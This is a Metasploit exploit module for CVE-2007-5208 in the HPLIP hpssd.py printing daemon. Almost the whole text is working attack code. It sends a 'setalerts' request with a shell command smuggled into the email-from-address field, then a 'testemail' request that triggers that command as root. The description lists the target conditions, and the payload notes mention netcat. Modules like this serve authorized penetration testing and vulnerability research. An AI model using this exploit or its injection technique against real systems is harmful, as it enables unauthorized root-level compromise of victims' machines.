HPLIP hpssd.py From Address Arbitrary Command Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'HPLIP hpssd.py From Address Arbitrary Command Execution',
      'Description'    => %q{
          This module exploits a command execution vulnerable in the hpssd.py
        daemon of the Hewlett-Packard Linux Imaging and Printing Project.
        According to MITRE, versions 1.x and 2.x before 2.7.10 are vulnerable.

        This module was written and tested using the Fedora 6 Linux distribution.
        On the test system, the daemon listens on localhost only and runs with
        root privileges. Although the configuration shows the daemon is to
        listen on port 2207, it actually listens on a dynamic port.

        NOTE: If the target system does not have a 'sendmail' command installed,
        this vulnerability cannot be exploited.
      },
      'Author'         => [ 'jduck' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2007-5208' ],
          [ 'OSVDB', '41693' ],
          [ 'BID', '26054' ],
          [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=319921' ],
          [ 'URL', 'https://bugzilla.redhat.com/attachment.cgi?id=217201&action=edit' ]
        ],
      'Platform'       => ['unix'],
      'Arch'           => ARCH_CMD,
      'Privileged'     => true,
      'Payload'        =>
        {
          'Space'       => 1024,
          'DisableNops' => true,
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              # *_perl and *_ruby work if they are installed
              # inetd isn't used on FC6/7 (xinetd is)
              # netcat doesn't have -e by default
            }
        },
      'Targets'        =>
        [
          [ 'Automatic (hplip-1.6.7-4.i386.rpm)', { } ]
        ],
      'DefaultTarget' => 0,
      'DisclosureDate'  => '2007-10-04'
    ))

    register_options(
      [
        Opt::RPORT(2207),
      ])
  end

  def exploit

    connect

    #cmd = "nohup " + payload.encoded
    cmd = payload.encoded

    username = 'root'
    toaddr = 'nosuchuser'

    # first setalerts
    print_status("Sending 'setalerts' request with encoded command line...")
    msg = "username=#{username}\n" +
      "email-alerts=1\n" +
      #"email-from-address=`#{cmd}`\n" +
      "email-from-address=x;#{cmd};\n" +
      "email-to-addresses=#{toaddr}\n" +
      "msg=setalerts\n"
    sock.put(msg)

    # next, the test email command
    print_status("Sending 'testemail' request to trigger execution...")
    msg = "msg=testemail\n"
    sock.put(msg)

  end
end